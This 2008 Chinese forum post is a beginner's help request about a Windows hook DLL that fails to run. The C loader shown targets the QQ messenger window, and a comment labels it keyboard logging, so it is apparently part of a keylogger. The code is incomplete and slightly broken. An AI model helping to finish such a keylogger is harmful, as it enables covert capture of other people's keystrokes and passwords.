关于钩子的疑问!SOS
SOS!为什么我的钩子重是跳不到他的子程序段!!钩子安装没错!但是跟踪的时候钩子安装完了就直接跳出DLL了根本不执行子程序编译OK但是运行没效果........#include "stdafx.h"
#include "stdio.h"
typedef BOOL (*YRDLL)();
typedef BOOL (*StopHook)();
int main(int argc, char* argv[])
{
BOOL k;
HMODULE HOOKDLL;
HWND H;
//键盘记录的一块
if(NULL!=(H=FindWindow(0,"QQ"))){
if(NULL==(HOOKDLL=LoadLibrary("yr.dll")
)){
printf("DLL载入内存出错\n");//测试用
Sleep(10000);
return 0;
}
//导出函数导出地址
StartHook HOOKMAIN=(StartHook)GetProcAddress(HOOKDLL,"StartHook");
StopHook deldll=(StopHook)GetProcAddress(HOOKDLL,"StopHook");
if(NULL==HOOKMAIN){
printf("导出函数导出地址出错!\n");//测试用
Sleep(1000);
return 0;
}
//调用钩子函数
k=HOOKMAIN();
if(false==k){
printf("DLL安装出错!\n");
deldll();
Sleep(10000);
return 0;
}
for(;;)
{
Sleep(10000);
}
}
return 0;
}
小弟初学请大侠解惑!大哥们我弄了2天了......
[[it] 本帖最后由 kofsos 于 2008-9-11 02:47 编辑 [/it]]